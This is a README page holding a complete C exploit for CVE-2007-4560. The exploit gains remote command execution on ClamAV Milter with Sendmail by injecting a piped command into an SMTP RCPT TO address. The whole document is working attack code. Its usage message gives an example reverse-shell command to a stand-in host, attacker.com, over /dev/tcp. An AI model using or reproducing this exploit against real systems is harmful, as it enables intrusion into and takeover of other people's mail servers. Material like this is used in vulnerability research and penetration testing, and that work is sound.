README.md
Rendering markdown...
/*
Exploit Title: ClamAV Milter Sendmail < 0.91.2 Remote Code Execution
Date: Sun Jan 1 03:51:59 PM CET 2023
Exploit Author: 0x1sac
Vendor Homepage: https://www.clamav.net/
Version: < 0.91.1
Tested on: Debian GNU/Linux
CVE: CVE-2007-4560
Compile with: gcc exploit.c -o exploit
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#define red "\e[1;31m"
#define green "\e[1;32m"
#define yellow "\e[1;33m"
#define cyan "\e[1;36m"
// Make the sock fd globaly accessible
int sock;
// Receive server data until EOF - for verbosity mode
int getMsg(){
char buffer[4096];
ssize_t size;
while ((size = read(sock, buffer, sizeof(buffer))) > 0){
write(STDOUT_FILENO, buffer, size);
}
return EXIT_SUCCESS;
}
// The actual exploit
int exploit(char *command, bool verbose){
char payload[4096];
snprintf(payload, sizeof(payload), "EHLO pwn\r\nMAIL FROM: <>\r\nRCPT TO: <root+\"|%s\"@localhost>\r\nDATA\r\n.\r\nQUIT\r\n", command);
// Send the payload to the remote host by writing to the socket fd
write(sock, payload, strlen(payload));
fprintf(stderr, "%s[+] Payload sent!\e[0m\n", green);
if (verbose == true){
getMsg();
}
return EXIT_SUCCESS;
}
int main(int argc, char **argv){
if (argc < 4){
fprintf(stderr, "%susage: %s <RHOST> <RPORT> <COMMAND>\n\n", green, argv[0]);
fprintf(stderr, "%s[example]\n%s victim.com 25 '/usr/bin/env sleep 10' -v\n%s victim.com 25 \"/usr/bin/env bash -c 'bash -i >&/dev/tcp/attacker.com/443 0>&1'\"\n", green, argv[0], argv[0]);
return EXIT_FAILURE;
}
// Declaring some variables
char *rhost = argv[1];
int rport = atoi(argv[2]);
char *command = argv[3];
bool verbose;
// Check for -v option
for (int i = 0; i < argc; i++){
if (!strcmp(argv[i], "-v")){
verbose = true;
}
else {
verbose = false;
}
}
// The PATH environment may not be properly set, so commands may not be found
if (!strstr(command, "/")){
fprintf(stderr, "%s[*] Warning: it is advised to use absolute path for commands\n\e[0m", yellow);
}
// Resolving the remote host
struct hostent *server = gethostbyname(rhost);
if (server == NULL){
fprintf(stderr, "%s[-] Unable to resolve host: %s\e[0m\n", red, rhost);
return EXIT_FAILURE;
}
// Defining the initial socket
struct sockaddr_in serv_addr;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1){
fprintf(stderr, "%s[-] Unable to create socket: %s\e[0m\n", red, strerror(errno));
return EXIT_FAILURE;
}
// Setup socket structure
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(rport);
bcopy((char *)server->h_addr,(char *)&serv_addr.sin_addr.s_addr, server->h_length);
// Connect to the remote host
if (connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0){
fprintf(stderr, "%s[-] Unable to connect to `%s` on port `%d` [%s]", red, rhost, rport, strerror(errno));
close(sock);
return EXIT_FAILURE;
}
fprintf(stderr, "%s[+] Connected to %s:%d\e[0m\n", cyan, rhost, rport);
// Launch the exploit
exploit(command, verbose);
// Clean up by closing the socket
close(sock);
return EXIT_SUCCESS;
}